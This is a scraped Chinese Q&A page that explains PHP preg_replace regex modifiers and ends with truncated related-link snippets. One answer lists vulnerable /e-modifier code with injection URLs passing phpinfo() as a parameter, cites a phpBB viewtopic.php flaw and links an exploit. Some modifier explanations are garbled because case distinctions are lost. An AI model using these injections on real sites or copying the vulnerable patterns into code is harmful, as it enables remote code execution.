關於preg replace函式的問題講解

2021-04-25 07:01:58 字數 1469 閱讀 8055

請問下那此句語句的作用。給我解釋一下其中的「?」,「e","i","s"符號分別是什麼意思,和它們起到了什麼作用。還有就是除了"/eis」外還有其他什麼模式了嗎?

如果有相關的學習資料可以給我嗎?謝謝,各位的幫助!謝謝。

$post=preg_replace("//[html/](.+?)/[//html/]/eis","htmlcode('//1')",$post);

修飾符:

在正規表示式裡面的修飾符可以改變正則

的很多特性,使得正則

表示式更加適合你的需要(注意:修飾符對於大小寫是敏感的,這意味著"e"並不等於"e")。正則

表示式裡面的修飾符如下:

i :如果在修飾符中加上"i",則正則

將會取消大小寫敏感性,即"a"和"a" 是一樣的。

m:預設的正則

開始"^"和結束"$"只是對於正則

字串如果在修飾符中加上"m",那麼開始和結束將會指字串的每一行:每一行的開頭就是"^",結尾就是"$"。

s:如果在修飾符中加入"s",那麼預設的"."代表除了換行符以外的任何字元將會變成任意字元,也就是包括換行符!

x:如果加上該修飾符,表示式中的空白字元將會被忽略,除非它已經被轉義。

e:本修飾符僅僅對於replacement有用,代表在replacement中作為php**。

a:如果使用這個修飾符,那麼表示式必須是匹配的字串中的開頭部分。比如說"/a/a"匹配"abcd"。

e:與"m"相反,如果使用這個修飾符,那麼"$"將匹配絕對字串的結尾,而不是換行符前面,預設就開啟了這個模式。

u:和問號的作用差不多,用於設定"貪婪模式"。

?表單非貪婪匹配,即盡可能少的匹配

#############

##總結模型###

#############

1.直接在preg_replace第2個變數執行的模式:

echo preg_replace("/test/e",$h,"jutst test");

?>

提交http://127.0.0.1/test/11/preg.php?h=phpinfo()

實例如:phpbb的viewtopic.php變數$highliht_match提交php**執行漏洞

2.通過//1[或者//n]提取第3個變數裡的php**並執行的模式:

echo preg_replace("//s*/[php/](.+?)/[//php/]/s*/ies", "//1", $h);

?>

提交:http://127.0.0.1/test/11/preg.php?h=[php]phpinfo()[/php]

參考:r57的exp:http://www.milw0rm.com/exploits/1720

正則匹配 preg replace 函式使用

preg replace 函式執行乙個正規表示式的搜尋和替換。語法mixed preg replace mixed pattern mixed replacement mixed subject int limit 1 int count 搜尋 subject 中匹配 pattern 的部分,以 r...

preg replace中eis什麼意思說明

post preg replace html html eis htmlcode 1 post 修飾符 在正規表示式裡面的修飾符可以改變正則的很多特性,使得正規表示式更加適合你的需要 注意 修飾符對於大小寫是敏感的,這意味著 e 並不等於 e 正規表示式裡面的修飾符如下 i 如果在修飾符中加上 i ...

PHP字串的替換 preg replace

正規表示式 preg replace str array 如果沒有一些特殊的替換需5求 比如正規表示式 你應該使用該函式替9換 ereg replace 和9 preg replace 如果沒有一些特殊的替換需5求 比如正規表示式 你應該使用該函式替9換 ereg replace 和9 preg r...